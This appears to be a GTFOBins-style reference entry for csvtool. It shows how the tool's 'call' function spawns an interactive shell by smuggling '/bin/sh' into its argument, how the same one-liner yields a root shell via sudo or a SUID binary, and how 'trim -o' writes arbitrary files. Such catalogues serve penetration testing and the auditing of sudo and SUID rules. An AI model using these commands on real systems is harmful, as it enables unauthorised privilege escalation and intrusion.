csvtool

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    csvtool call '/bin/sh;false' /etc/hosts
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    csvtool call '/bin/sh;false' /etc/hosts
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    csvtool call '/bin/sh;false' /etc/hosts

  1. CommentThe file is actually parsed and manipulated as CSV.

    csvtool trim t /path/to/temp-file -o /path/to/output-file
